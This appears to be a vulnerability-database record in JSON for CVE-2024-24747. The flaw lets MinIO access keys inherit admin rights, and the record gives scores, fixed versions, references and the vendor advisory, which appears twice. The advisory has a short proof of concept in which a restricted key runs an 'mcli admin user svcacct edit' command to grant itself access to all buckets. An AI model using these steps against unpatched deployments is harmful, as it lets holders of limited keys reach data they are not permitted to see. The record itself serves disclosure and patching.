{"id":"CVE-2024-24747","aliases":["ALPINE-CVE-2024-24747","EUVD-2024-0775","GHSA-xx8w-mq23-29g4","GO-2024-2499"],"status":"published","title":"MinIO unsafe default: Access keys inherit `admin` of root user, allowing privilege escalation","description":"MinIO is a High Performance Object Storage. When someone creates an access key, it inherits the permissions of the parent key. Not only for `s3:*` actions, but also `admin:*` actions. Which means unless somewhere above in the access-key hierarchy, the `admin` rights are denied, access keys will be able to simply override their own `s3` permissions to something more permissive. The vulnerability is fixed in RELEASE.2024-01-31T20-20-33Z.","severity":{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.34086,"percentile":0.98414,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-269"],"published":"2024-01-31T22:10:23Z","modified":"2026-11-03T06:32:49Z","exploits":[{"source":"exploitdb","id":"EDB-51976","title":"MinIO \u003c 2024-01-31T20-20-33Z - Privilege Escalation","type":"remote","platform":"go","date":"2024-04-12","url":"https://www.exploit-db.com/exploits/51976"}],"fixes":[{"ecosystem":"Go","package":"github.com/minio/minio","fixed_in":["0.0.0-20240131185645-0ae4915a9391"],"sources":["ghsa","osv"]},{"ecosystem":"Alpine:v3.19","package":"minio","fixed_in":["0.20240131.202033-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.20","package":"minio","fixed_in":["0.20240131.202033-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.21","package":"minio","fixed_in":["0.20240131.202033-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.22","package":"minio","fixed_in":["0.20240131.202033-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.23","package":"minio","fixed_in":["0.20240131.202033-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.24","package":"minio","fixed_in":["0.20240131.202033-r0"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/minio/minio","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.0-20240131185645-0ae4915a9391"}]}]},{"source":"osv","ecosystem":"Alpine:v3.19","package":"minio","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.20240131.202033-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.20","package":"minio","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.20240131.202033-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.21","package":"minio","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.20240131.202033-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.22","package":"minio","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.20240131.202033-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.23","package":"minio","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.20240131.202033-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.24","package":"minio","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.20240131.202033-r0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/minio/minio","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.0.0-20240131185645-0ae4915a9391"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/minio/minio","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.0.0-20240131185645-0ae4915a9391"}]}]}],"products":[{"vendor":"minio","product":"minio"}],"references":[{"url":"https://github.com/minio/minio/security/advisories/GHSA-xx8w-mq23-29g4","tags":["x_refsource_CONFIRM","x_transferred","Exploit","Patch","Vendor Advisory","advisory","web"]},{"url":"https://github.com/minio/minio/commit/0ae4915a9391ef4b3ec80f5fcdcf24ee6884e776","tags":["x_refsource_MISC","x_transferred","Patch","fix","web"]},{"url":"https://github.com/minio/minio/releases/tag/RELEASE.2024-01-31T20-20-33Z","tags":["x_refsource_MISC","x_transferred","Patch","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-24747","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-xx8w-mq23-29g4"},{"url":"https://security.alpinelinux.org/vuln/CVE-2024-24747","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/24xxx/CVE-2024-24747.json","tags":["advisory"]},{"url":"https://github.com/minio/minio","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2024-24747","title":"MinIO unsafe default: Access keys inherit `admin` of root user, allowing privilege escalation","description":"MinIO is a High Performance Object Storage. When someone creates an access key, it inherits the permissions of the parent key. Not only for `s3:*` actions, but also `admin:*` actions. Which means unless somewhere above in the access-key hierarchy, the `admin` rights are denied, access keys will be able to simply override their own `s3` permissions to something more permissive. The vulnerability is fixed in RELEASE.2024-01-31T20-20-33Z.","status":"published","published":"2024-01-31T22:10:23.375Z","modified":"2024-08-01T23:28:11.919Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-269"],"updated_at":"2026-11-02T14:34:13.991836Z"}],"euvd":[{"id":"EUVD-2024-0775","description":"MinIO is a High Performance Object Storage. When someone creates an access key, it inherits the permissions of the parent key. Not only for `s3:*` actions, but also `admin:*` actions. Which means unless somewhere above in the access-key hierarchy, the `admin` rights are denied, access keys will be able to simply override their own `s3` permissions to something more permissive. The vulnerability is fixed in RELEASE.2024-01-31T20-20-33Z.","status":"published","published":"2024-01-31T22:10:23Z","modified":"2024-08-01T23:28:11Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-03T03:50:28.273902Z"}],"ghsa":[{"id":"GHSA-xx8w-mq23-29g4","title":"Minio unsafe default: Access keys inherit `admin` of root user, allowing privilege escalation","description":"### Summary\nWhen someone creates an access key, it inherits the permissions of the parent key. Not only for \n`s3:*` actions, but also `admin:*` actions. Which means unless somewhere above in the \naccess-key hierarchy, the `admin` rights are denied, access keys will be able to simply \noverride their own `s3` permissions to something more permissive.\n\nCredit to @xSke for sort of accidentally discovering this. I only understood the implications.\n\n### Details / PoC\nWe spun up the latest version of minio in a docker container and signed in to the admin UI \nusing the minio root user. We created two buckets, `public` and `private` and created an \naccess key called `mycat` and attached the following policy to only allow access to the \nbucket called `public`.\n\n```json\n{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n  {\n   \"Effect\": \"Allow\",\n   \"Action\": [\n    \"s3:*\"\n   ],\n   \"Resource\": [\n    \"arn:aws:s3:::public\",\n    \"arn:aws:s3:::public/*\"\n   ]\n  }\n ]\n}\n```\nWe then set an alias in mc:  `mcli alias set vuln http://localhost:9001 mycat mycatiscute` \n\nAnd checked whether policy works:\n```\nA ~/c/minio-vuln mcli ls vuln\n[0001-01-01 00:53:28 LMT]     0B public/\n```\nLooks good, we believe this is how 99% of users will work with access policies.\n\nIf I now create a file `full-access-policy.json`:\n```json\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Action\": [\n        \"s3:*\"\n      ],\n      \"Resource\": [\n        \"arn:aws:s3:::*\"\n      ]\n    }\n  ]\n}\n```\nAnd then:\n\n```sh\nA ~/c/minio-vuln mcli admin user svcacct edit --policy full-access-policy.json vuln mycat\nEdited service account `mycat` successfully.\n```\n`mycat` has escalated its privileges to get access to the entire deployment: \n```sh\nA ~/c/minio-vuln mcli ls vuln\n[0001-01-01 00:53:28 LMT]     0B private/\n[0001-01-01 00:53:28 LMT]     0B public/\n```\n\n### Impact\nA trivial privilege escalation unless the operator fully understands that they need to \nexplicitly deny `admin` actions on access keys. \n\n### Patched\n\n```\ncommit 0ae4915a9391ef4b3ec80f5fcdcf24ee6884e776 (HEAD -\u003e master, origin/master)\nAuthor: Aditya Manthramurthy \u003cdonatello@users.noreply.github.com\u003e\nDate:   Wed Jan 31 10:56:45 2024 -0800\n\n    fix: permission checks for editing access keys (#18928)\n    \n    With this change, only a user with `UpdateServiceAccountAdminAction`\n    permission is able to edit access keys.\n    \n    We would like to let a user edit their own access keys, however the\n    feature needs to be re-designed for better security and integration with\n    external systems like AD/LDAP and OpenID.\n    \n    This change prevents privilege escalation via service accounts.\n```\n","status":"published","published":"2024-02-01T19:21:30Z","modified":"2024-02-01T22:52:19Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-269"],"updated_at":"2026-11-02T14:37:34.405364Z"}],"nvd":[{"id":"CVE-2024-24747","description":"MinIO is a High Performance Object Storage. When someone creates an access key, it inherits the permissions of the parent key. Not only for `s3:*` actions, but also `admin:*` actions. Which means unless somewhere above in the access-key hierarchy, the `admin` rights are denied, access keys will be able to simply override their own `s3` permissions to something more permissive. The vulnerability is fixed in RELEASE.2024-01-31T20-20-33Z.","status":"published","published":"2024-01-31T22:15:54.813Z","modified":"2026-06-17T07:14:46.697Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-269"],"updated_at":"2026-11-02T14:09:34.891666Z"}],"osv":[{"id":"ALPINE-CVE-2024-24747","description":"MinIO is a High Performance Object Storage. When someone creates an access key, it inherits the permissions of the parent key. Not only for `s3:*` actions, but also `admin:*` actions. Which means unless somewhere above in the access-key hierarchy, the `admin` rights are denied, access keys will be able to simply override their own `s3` permissions to something more permissive. The vulnerability is fixed in RELEASE.2024-01-31T20-20-33Z.","status":"published","published":"2024-01-31T22:15:54.813Z","modified":"2026-11-03T06:32:49.48001931Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-03T07:16:46.202932Z"},{"id":"CVE-2024-24747","title":"MinIO unsafe default: Access keys inherit `admin` of root user, allowing privilege escalation","description":"MinIO is a High Performance Object Storage. When someone creates an access key, it inherits the permissions of the parent key. Not only for `s3:*` actions, but also `admin:*` actions. Which means unless somewhere above in the access-key hierarchy, the `admin` rights are denied, access keys will be able to simply override their own `s3` permissions to something more permissive. The vulnerability is fixed in RELEASE.2024-01-31T20-20-33Z.","status":"published","published":"2024-01-31T22:10:23.375Z","modified":"2026-10-28T02:30:56.387136682Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-269"],"updated_at":"2026-11-02T15:44:38.897406Z"},{"id":"GHSA-xx8w-mq23-29g4","title":"Minio unsafe default: Access keys inherit `admin` of root user, allowing privilege escalation","description":"### Summary\nWhen someone creates an access key, it inherits the permissions of the parent key. Not only for \n`s3:*` actions, but also `admin:*` actions. Which means unless somewhere above in the \naccess-key hierarchy, the `admin` rights are denied, access keys will be able to simply \noverride their own `s3` permissions to something more permissive.\n\nCredit to @xSke for sort of accidentally discovering this. I only understood the implications.\n\n### Details / PoC\nWe spun up the latest version of minio in a docker container and signed in to the admin UI \nusing the minio root user. We created two buckets, `public` and `private` and created an \naccess key called `mycat` and attached the following policy to only allow access to the \nbucket called `public`.\n\n```json\n{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n  {\n   \"Effect\": \"Allow\",\n   \"Action\": [\n    \"s3:*\"\n   ],\n   \"Resource\": [\n    \"arn:aws:s3:::public\",\n    \"arn:aws:s3:::public/*\"\n   ]\n  }\n ]\n}\n```\nWe then set an alias in mc:  `mcli alias set vuln http://localhost:9001 mycat mycatiscute` \n\nAnd checked whether policy works:\n```\nA ~/c/minio-vuln mcli ls vuln\n[0001-01-01 00:53:28 LMT]     0B public/\n```\nLooks good, we believe this is how 99% of users will work with access policies.\n\nIf I now create a file `full-access-policy.json`:\n```json\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Action\": [\n        \"s3:*\"\n      ],\n      \"Resource\": [\n        \"arn:aws:s3:::*\"\n      ]\n    }\n  ]\n}\n```\nAnd then:\n\n```sh\nA ~/c/minio-vuln mcli admin user svcacct edit --policy full-access-policy.json vuln mycat\nEdited service account `mycat` successfully.\n```\n`mycat` has escalated its privileges to get access to the entire deployment: \n```sh\nA ~/c/minio-vuln mcli ls vuln\n[0001-01-01 00:53:28 LMT]     0B private/\n[0001-01-01 00:53:28 LMT]     0B public/\n```\n\n### Impact\nA trivial privilege escalation unless the operator fully understands that they need to \nexplicitly deny `admin` actions on access keys. \n\n### Patched\n\n```\ncommit 0ae4915a9391ef4b3ec80f5fcdcf24ee6884e776 (HEAD -\u003e master, origin/master)\nAuthor: Aditya Manthramurthy \u003cdonatello@users.noreply.github.com\u003e\nDate:   Wed Jan 31 10:56:45 2024 -0800\n\n    fix: permission checks for editing access keys (#18928)\n    \n    With this change, only a user with `UpdateServiceAccountAdminAction`\n    permission is able to edit access keys.\n    \n    We would like to let a user edit their own access keys, however the\n    feature needs to be re-designed for better security and integration with\n    external systems like AD/LDAP and OpenID.\n    \n    This change prevents privilege escalation via service accounts.\n```\n","status":"published","published":"2024-02-01T19:21:30Z","modified":"2026-10-08T08:11:01.10990114Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-269"],"updated_at":"2026-11-02T15:47:00.604718Z"},{"id":"GO-2024-2499","title":"Minio unsafe default: Access keys inherit `admin` of root user, allowing privilege escalation in github.com/minio/minio","description":"Minio unsafe default: Access keys inherit `admin` of root user, allowing privilege escalation in github.com/minio/minio","status":"published","published":"2024-06-28T15:28:53Z","modified":"2026-10-08T08:11:01.10990114Z","updated_at":"2026-11-02T15:47:01.185262Z"}]}}